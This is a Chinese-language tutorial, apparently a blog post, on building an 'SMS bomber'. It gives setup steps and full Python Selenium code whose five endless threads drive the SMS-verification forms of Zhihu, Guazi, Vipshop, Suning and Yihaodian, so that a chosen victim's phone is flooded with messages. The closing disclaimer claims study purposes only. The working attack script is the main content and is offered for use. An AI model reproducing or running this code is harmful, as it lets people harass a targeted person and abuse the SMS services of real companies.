手把手教你实现短信轰炸我这里采用简单易懂的语言--Python3来实现
实现前的准备:
1,电脑,谷歌浏览器
2,python3环境
3,chromedrive相应的版本
1, 当然需要下载python的咯--> Python最新源码,二进制文档,新闻资讯等可以在Python的官网查看到:
Python官网:https://www.python.org/你可以在以下链接中下载 Python 的文档,你可以下载 HTML、PDF 和 PostScript 等格式的文档。
Python文档下载地址:https://www.python.org/doc/ 我这下载的是最新版本python3.7
你们下载后按照一步一步的next就差不多了没什么难度和特别的地方,然后你把python追加到你的系统变量(右击电脑->高级设置->环境配置)的path中就可以了.
2,你需要自动的去实现浏览器页面的事件你当然必不可少的需要安装chromedriver啦,下面给你详细的安装步骤
点击下面的连接下载chromedrive,
http://chromedriver.storage.googleapis.com/index.html
你会看到很多版本,这个版本要对应你的谷歌浏览器的版本哟,大致的就可以咯哟,现在谷歌最新版本应该是73.0.3683.
下载的安装目录一定要在你的谷歌浏览器的目录里面,否者是没用的哟,我把我的贴上去了
一切准备就绪了,那就打开你的python,在这里我们需要安装三个python包,如果你是linux操作系统可能比较方便安装引入查看相应的库和,不过在windows下你可以定位到你python下的script的文件下按住shift键右击在此处打开命令不过你用cd去定位也是一样的哟,pip install 包名 这样既可以了哟!如果你觉得慢的话,你也可以直接在网上下载到python文件里面去哟,再说的话你直接在相关的python(pycharm)编辑器里面的设置去引入包也是一样的,我在这里就不累赘叙说了.
3,话不多说->直接上代码:
from selenium import webdriver import time from threading import Thread class HongZha(object): def __init__(self): self.phone = 12345678909#你要轰炸的电话号码 self.num = 0 def send_yzm(self,button,name): button.click() self.num+=1 print({} 第{}次 发送成功 {}.format(self.phone,self.num,name)) time.sleep(2) def zhihu(self,name): while True:#下面这行是刚刚叙说的chromedrive的安装路径 driver = webdriver.Chrome(C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe) driver.get(https://www.zhihu.com/question/39993344) driver.find_element_by_xpath ( //button[@class=‘Button Button--primary Button--blue‘] ).click () time.sleep(2) tel = driver.find_element_by_xpath(//input[@placeholder=‘手机号‘]) tel.send_keys(self.phone) button = driver.find_element_by_xpath ( //button[@class=‘Button CountingDownButton SignFlow-smsInputButton Button--plain‘] ) self.send_yzm(button,name) driver.quit () def guazi(self,name): while True: driver = webdriver.Chrome(C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe) driver.get(https://www.guazi.com/www/bj/buy) a_btn = driver.find_element_by_xpath ( //a[@class=‘uc-my‘] ) a_btn.click() time.sleep(2) tel = driver.find_element_by_xpath(//input[@placeholder=‘请输入您的手机号码‘]) tel.send_keys( self.phone ) button = driver.find_element_by_xpath(//button[@class=‘get-code‘]) self.send_yzm(button,name) driver.quit() def wphui(self,name): while True: driver = webdriver.Chrome(C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe) driver.get ( https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F ) tel = driver.find_element_by_xpath ( //input[@placeholder=‘请输入手机号码‘] ) tel.send_keys ( self.phone ) driver.find_element_by_xpath ( //input[@id=‘J_mobile_code‘] ).click() button = driver.find_element_by_xpath ( //a[@class=‘ui-btn-medium btn-verify-code ui-btn-secondary‘] ) self.send_yzm ( button,name ) driver.quit () def suning(self,name): while True: driver = webdriver.Chrome(C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe) driver.get ( https://reg.suning.com/person.do ) driver.find_element_by_xpath(//a[@class=‘agree-btn‘]).click() tel = driver.find_element_by_xpath ( //input[@id=‘mobileAlias‘]) tel.send_keys ( self.phone ) button = driver.find_element_by_xpath ( //a[@id=‘sendSmsCode‘] ) self.send_yzm ( button,name ) driver.quit () def yhd(self,name): while True: driver = webdriver.Chrome(C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe) driver.get ( https://passport.yhd.com/passport/register_input.do ) driver.find_element_by_xpath ( //input[@id=‘userName‘] ).send_keys(我的女神) tel = driver.find_element_by_xpath ( //input[@id=‘phone‘] ) tel.send_keys ( self.phone ) time.sleep(2) button = driver.find_element_by_xpath ( //a[@class=‘receive_code fl same_code_btn r_disable_code ‘] ) #button.click() time.sleep(1) self.send_yzm ( button,name ) driver.quit () if __name__ == ‘__main__‘: hongzha = HongZha() zhihu = Thread(target=hongzha.zhihu,args=(知乎,)) guazi = Thread ( target=hongzha.guazi,args=(瓜子,)) wphui = Thread(target=hongzha.wphui,args=(唯品会,)) suning = Thread(target=hongzha.suning,args=(苏宁,)) yhd = Thread( target=hongzha.yhd,args=(一号店,))
然后运行结果我就不弄太多,因为是我自己的手机测试的,
我做的处理防止拿我手机号来轰炸!
zhihu.start()guazi.start()
wphui.start() suning.start() yhd.start()
在这里申明:我只提供技术上的学习讨论,不能来搞商业事情,小编概不负任何责任....
声明: 你们拿来做的任何事情与小编无关!
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。